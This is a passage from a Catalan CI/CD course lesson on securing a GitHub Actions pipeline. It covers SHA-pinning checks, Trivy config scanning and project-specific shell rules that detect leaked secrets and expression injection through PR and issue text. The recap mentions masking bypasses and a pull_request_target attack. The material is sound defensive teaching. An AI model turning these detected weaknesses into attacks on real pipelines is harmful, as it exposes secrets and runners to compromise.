            echo "- \`$FITXER:$LINIA\` → \`$REF\`  →  \`${ACCIO}@${SHA} # ${VERSIO}\`" >> "$GITHUB_STEP_SUMMARY"
          done < <(grep -rn 'uses:' .github/workflows/ || true)

          if [ "$SENSE_FIXAR" -gt 0 ]; then
            {
              echo ""
              echo "**$SENSE_FIXAR acció/ons sense fixar per SHA.**"
              echo ""
              echo "Una etiqueta com \`@v4\` es pot moure: qui controli l'acció pot"
              echo "executar codi arbitrari en aquest runner amb accés als secrets."
              echo ""
              echo "Arregla-ho automàticament amb:"
              echo '```bash'
              echo './scripts/fixar-accions.sh && git diff'
              echo '```'
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "✅ Totes les accions estan fixades per SHA." >> "$GITHUB_STEP_SUMMARY"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

El que fa útil aquest control i no només correcte: no diu «està malament», diu exactament per quina línia s'ha de substituir i per què. Un control que obliga a buscar l'arranjament a la documentació s'acaba desactivant.

Solució 3.

  configuracio:
    name: Escaneig de configuracio
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Trivy en mode config (Dockerfile, compose, workflows)
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          scan-type: config
          scan-ref: .
          format: sarif
          output: trivy-config.sarif
          severity: 'CRITICAL,HIGH,MEDIUM'
          exit-code: '0'

      - name: Pujar a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy-config.sarif
          category: trivy-config

      - name: Regles propies del projecte
        run: |
          set -Eeuo pipefail
          FALLADES=0
          error() { echo "::error file=$1::$2"; FALLADES=$((FALLADES + 1)); }

          # --- Regla 1: la imatge final MAI corre com a root ----------------
          # Es comprova a l ULTIMA etapa: un USER en una etapa intermedia
          # no protegeix res.
          ULTIMA_ETAPA=$(awk '/^FROM /{n=NR} END{print n}' Dockerfile)
          if ! awk -v inici="$ULTIMA_ETAPA" 'NR > inici && /^USER /' Dockerfile | grep -qv 'USER root'; then
            error Dockerfile "La imatge final no declara cap USER no-root"
          fi

          # --- Regla 2: sense `latest` en cap imatge base ------------------
          if grep -nE '^FROM .*:latest|^FROM [^:@]+$' Dockerfile; then
            error Dockerfile "Imatge base sense versió fixada (:latest o sense tag)"
          fi

          # --- Regla 3: cap workflow amb permissions: write-all -------------
          if grep -rn 'permissions: *write-all' .github/workflows/; then
            error .github/workflows "permissions: write-all concedeix tots els permisos"
          fi

          # --- Regla 4: cap secret interpolat en un `run:` ------------------
          # Els secrets han d entrar per `env:`, on l emmascarat i l abast
          # funcionen millor i no acaben a l historial del shell.
          if grep -rnP 'run:.*\$\{\{\s*secrets\.' .github/workflows/; then
            error .github/workflows "Secret interpolat directament en un run:. Passa-l per env:"
          fi

          # --- Regla 5: sense dades d usuari interpolades en un `run:` ------
          if grep -rnP 'run:[\s\S]{0,200}\$\{\{\s*github\.event\.(pull_request\.(title|body)|issue\.(title|body)|comment\.body)' .github/workflows/; then
            error .github/workflows "Dada controlada per l'usuari interpolada en un run: (injecció d'expressions)"
          fi

          # --- Regla 6: sense ports de base de dades publicats al compose --
          if grep -rnE '^\s+- .?(5432|3306|27017|6379):' ./*.yml observabilitat/*.yml 2>/dev/null; then
            error docker-compose.yml "Port de base de dades publicat a l'amfitrió"
          fi

          if [ "$FALLADES" -gt 0 ]; then
            echo "### ❌ $FALLADES regla/es de configuració incomplerta/es" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "### ✅ Configuració conforme a les regles del projecte" >> "$GITHUB_STEP_SUMMARY"

La regla 1 és la més instructiva: comprova el USER només a l'última etapa, perquè un USER node a l'etapa de build no afecta la imatge final. És el tipus d'error que una eina genèrica passa per alt i que una regla pròpia, escrita per algú que coneix el Dockerfile, sí que caça. Les regles pròpies no substitueixen les eines: cobreixen el que les eines no saben del teu projecte.

Repte opcional

Implementa una política d'admissió a l'estil Kubernetes: un job que, abans de desplegar, verifiqui en una sola passada que l'artefacte compleix tots els requisits —signat pel workflow correcte, amb SBOM adjunt, escanejat sense crítiques, construït des de main, amb procedència SLSA nivell 2— i que emeti un veredicte únic. És el mateix principi que Kyverno o Gatekeeper apliquen en un clúster: la política viu fora del pipeline i el pipeline la consulta, de manera que enfortir-la no requereix tocar tots els workflows. Si ho escrius com un script (scripts/admetre.sh) que retorna 0 o 1 amb un informe, el podràs reutilitzar tal qual al projecte final.

Què has construït

  • Una auditoria documentada del teu propi pipeline, amb deu troballes classificades per severitat, i la seva correcció verificada.
  • Mínim privilegi als cinc workflows, amb el permís per defecte del repositori tancat i l'experiència de llegir l'error quan en falta un.
  • Totes les accions fixades per SHA, un script que ho automatitza, un control que impedeix la regressió i Dependabot mantenint-les al dia.
  • Els cinc escaneigs: secrets (Gitleaks, amb --redact i hook local), SCA (npm audit amb política per jq), SAST (CodeQL, amb una injecció real detectada i arreglada), imatge (Trivy amb ignore-unfixed) i configuració (regles pròpies).
  • Una política de severitats escrita, amb excepcions que porten justificació, aprovador i data de caducitat, i un job que falla quan caduquen.
  • Un secret filtrat expressament i el procediment complet de resposta executat en l'ordre correcte: rotar, investigar, netejar, prevenir, post-mortem.
  • SBOM CycloneDX adjunt com a attestation i signatura keyless amb Cosign verificada abans de desplegar, comprovat amb una imatge falsa que el pipeline va rebutjar.
  • La demostració pràctica que l'emmascarat de secrets es trenca amb cinc transformacions trivials, i les seves conseqüències.
  • L'atac de pull_request_target entès a nivell de codi, amb les seves tres mitigacions.

Conclusió

El pipeline ja no és només capaç: és defensable. I convé fixar quina és la idea que sosté tot l'anterior, perquè no són deu eines sinó un únic principi aplicat deu vegades: cada baula de la cadena ha de poder demostrar d'on ve l'anterior. El codi ve d'un PR revisat sobre una branca protegida; les dependencies, d'un lockfile verificat i auditat; la imatge, d'un build reproduïble que ha deixat signatura i SBOM; el desplegament, d'una identitat efímera que només va existir durant deu minuts; i cadascun d'aquests passos comprova l'anterior en comptes de confiar-hi. Això és el que significa «cadena de subministrament segura», i és també el que fa que un incident sigui investigable: a cada punt hi ha una resposta a «qui ha posat això aquí i amb quina autoritat?».

També has après el que no es diu a les xerrades de seguretat: que el control que fa nosa es desactiva. Cada peça d'aquesta lliçó porta una via d'excepció explícita, amb nom, motiu i data, perquè l'alternativa —un || true a les onze de la nit— és pitjor que no tenir el control. La seguretat que sobreviu és la que es pot negociar per escrit.

Amb això es tanquen els cinc laboratoris guiats. Tens un pipeline complet d'extrem a extrem: integra, verifica en tres capes, construeix un artefacte immutable, l'escaneja, el signa, el desplega després d'una porta, el vigila, el reverteix sol si empitjora, i es mesura a si mateix. L'has construït pas a pas, seguint instruccions.

A la 07-06 no hi ha instruccions. El projecte final és l'encàrrec: un context d'empresa amb les seves restriccions i el seu pressupost, una llista de requisits obligatoris cadascun amb el seu criteri d'acceptació verificable —«un revisor extern ha de poder comprovar que…»—, uns lliurables (el repositori, un PIPELINE.md que justifiqui cada decisió i la seva contrapartida, un POSTMORTEM.md d'una fallada que provocaràs expressament, i un panell amb les mètriques), una rúbrica d'autoavaluació que et pots aplicar tot sol, i un pla de treball en cinc sessions. El construeixes tu, sobre el teu propi projecte si en tens o sobre Mini-Reservalia si no, i decidint què deixes fora i per què, que és la part que aquest mòdul encara no t'ha fet fer.

Curs de CI/CD: Integració i Desplegament Continu

Mòdul 1: Introducció al CI/CD

Mòdul 2: Integració Contínua (CI)

Mòdul 3: Desplegament Continu (CD)

Mòdul 4: Pràctiques Avançades de CI/CD

Mòdul 5: Implementació de CI/CD en Projectes Reals

Mòdul 6: Eines i Tecnologies

Mòdul 7: Exercicis Pràctics

Mòdul 8: Recursos Addicionals

© Copyright 2026. Tots els drets reservats